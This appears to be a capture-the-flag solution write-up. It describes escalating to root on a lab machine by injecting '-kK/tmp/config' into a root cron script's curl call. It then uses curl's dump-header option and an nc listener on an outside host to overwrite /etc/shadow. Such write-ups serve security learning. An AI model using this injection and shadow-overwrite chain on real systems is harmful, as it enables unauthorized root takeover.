summaryrefslogtreecommitdiffstats
path: root/solve/notes
blob: 02cd685d9b8a8685fee993a64a28db8061732215 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
we get access to a brand new machine

we find that cron is the only other thing running beside dropbear for ssh

crontab reads configuration from /etc/cron.d/*, /etc/crontab and /var/spool/cron/

checkout /etc crontab entries.. nothing special, cant read /var/spool/cron

search filesystem for config/domains.txt -> find /opt/scripts/request_certificates.sh

see that domains.txt is owned by root, but config folder is owned by us..
we can move the config folder and replace the file at that path with our own

place a domain that belongs to us in the file and wait... we get a HEAD request after ~1 min
=> the script is run every minute by an admin cronjob

#!/bin/bash

for file in /var/www/*; do
    echo "$file"
    if ([ -f $file/config/domains.txt ])
    then
        while IFS="" read -r p || [ -n "$p" ]
        do
            if ( dig "$p" | grep -q 'NXDOMAIN' ) || ( dig "$p" 2>&1 | grep -q 'Invalid' ) || ( dig "$p" | grep -q 'SERVFAIL' )
            then
                echo "[-] Error resolving the domain"
            else
                curl -I "$p"
                # certbot -d "$p"
            fi
        done < $file/config/domains.txt
    else
        echo "[-] Not a file"
    fi
done

there is a pre-check with dig we need to bypass, then we can inject commandline
arguments to curl..

one such arguments is -Kconfig to let curl read further options from a config file

Next we need to prevent dig from calling the input arg NXDOMAIN, an invalid flag or the server unreachable

To do this we masquerade our curl options as an invalidly formatted dig option..

For this we prefix an option both utilities share.. -k! (keyfile for dig, insecure for curl)

Our final argument is then -kK/tmp/config

We can now inject arbitrary commandline arguments to the curl command running
as root by writing to /tmp/config.

The -I option is a pain, because we cant output data directly to a file,
since -I makes curl omit the response body.

Looking around we find the dump-header option though.. this writes
the headers to a file. It isnt perfect, since the HTTP response status
line will be included but its good enough.

Certain files like /etc/passwd, /etc/gorup, /etc/shadow are inherently
robust, since a single error could cause a system lockout..

We can use this to exchange the root password hash in /etc/shadow for
one that we know and use `su` to gain root privileges and read the flag.

For that we use the following config

url = "http://sinitax.com:9999"
dump-header = "/etc/shadow"

and on server side:

echo -e 'HTTP/1.1 200 OK\nroot:$y$j9T$WzLnIqCeKGPsZ99A/M6zG1$Z7ZqQY70qOzUdJKZ2ovpASps/NytHnPoeCVagQKvLO.:19796:0:99999:7:::\n' | nc -l 9999

This sets the root pasword to `test`.

And voila